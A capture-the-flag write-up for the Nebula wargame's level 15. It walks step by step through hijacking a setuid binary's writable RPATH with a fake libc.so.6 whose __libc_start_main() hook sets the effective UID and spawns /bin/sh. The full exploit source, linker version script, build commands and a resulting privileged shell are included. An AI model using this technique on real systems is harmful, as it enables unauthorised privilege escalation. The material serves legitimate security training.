Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000)As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
19630:
19630: file=libc.so.6 [0]; needed by ./flag15 [0]
19630: find library=libc.so.6 [0]; searching
19630: search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15 (RPATH from file ./flag15)
19630: trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
19630: trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/tls/i686/libc.so.6
19630: trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/tls/sse2/libc.so.6
19630: trying file=/var/tmp/flag15/tls/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/tls/libc.so.6
19630: trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/i686/sse2/libc.so.6
19630: trying file=/var/tmp/flag15/i686/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/i686/libc.so.6
19630: trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/sse2/libc.so.6
19630: trying file=/var/tmp/flag15/cmov/libc.so.6
19630: trying file=/var/tmp/flag15/libc.so.6
19630: search cache=/etc/ld.so.cache
19630: trying file=/lib/i386-linux-gnu/libc.so.6
strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c #include<stdlib.h> level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 ##################################################################################### 20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0] 20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15
Version symbols section '.gnu.version' contains 5 entries:
Addr: 0000000008048276 Offset: 0x000276 Link: 5 (.dynsym)
000: 0 (*local*) 2 (GLIBC_2.0) 0 (*local*) 2 (GLIBC_2.0)
004: 1 (*global*)
Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x0000000008048280 Offset: 0x000280 Link: 6 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 1
0x0010: Name: GLIBC_2.0 Flags: none Version: 2
#######################################################################################
Symbol table '.dynsym' contains 5 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
2: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
4: 080484cc 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
We have to create a version file and recompile our library.
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#########################################################################################
20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6
Version symbols section '.gnu.version' contains 10 entries:
Addr: 000000000000028c Offset: 0x00028c Link: 3 (.dynsym)
000: 0 (*local*) 3 (GLIBC_2.1.3) 0 (*local*) 0 (*local*)
004: 1 (*global*) 1 (*global*) 2 (GLIBC_2.0) 1 (*global*)
008: 1 (*global*) 1 (*global*)
Version definition section '.gnu.version_d' contains 2 entries:
Addr: 0x00000000000002a0 Offset: 0x0002a0 Link: 4 (.dynstr)
000000: Rev: 1 Flags: BASE Index: 1 Cnt: 1 Name: libc.so.6
0x001c: Rev: 1 Flags: WEAK Index: 2 Cnt: 1 Name: GLIBC_2.0
Version needs section '.gnu.version_r' contains 1 entries:
Addr: 0x00000000000002d8 Offset: 0x0002d8 Link: 4 (.dynstr)
000000: Version: 1 File: libc.so.6 Cnt: 1
0x0010: Name: GLIBC_2.1.3 Flags: none Version: 3
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
20486: symbol=__libc_start_main; lookup in file=./flag15 [0]
20486: symbol=__libc_start_main; lookup in file=/var/tmp/flag15/libc.so.6 [0]
20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference (fatal)
Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
return 0;
}
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ./flag15
Segmentation fault
level15@nebula:/var/tmp/flag15$ ulimit -c unlimited
level15@nebula:/var/tmp/flag15$ ./flag15
Segmentation fault (core dumped)
level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core
Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done.
[New LWP 20557]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./flag15'.
Program terminated with signal 11, Segmentation fault.
#0 0x08048369 in _start ()
(gdb) x/i $eip
=> 0x8048369 <_start+33>: hlt
level15@nebula:/var/tmp/flag15$ objdump -d flag15
8048348 <_start>:
8048348: 31 ed xor %ebp,%ebp
804834a: 5e pop %esi
804834b: 89 e1 mov %esp,%ecx
804834d: 83 e4 f0 and $0xfffffff0,%esp
8048350: 50 push %eax
8048351: 54 push %esp
8048352: 52 push %edx
8048353: 68 70 84 04 08 push $0x8048470
8048358: 68 00 84 04 08 push $0x8048400
804835d: 51 push %ecx
804835e: 56 push %esi
804835f: 68 30 83 04 08 push $0x8048330
8048364: e8 b7 ff ff ff call 8048320 <__libc_start_main@plt>
8048369: f4 hlt
804836a: 90 nop
804836b: 90 nop
804836c: 90 nop
804836d: 90 nop
804836e: 90 nop
804836f: 90 nop
We have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic libc.c -o libc.so.6
level15@nebula:/home/flag15$ ./flag15
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)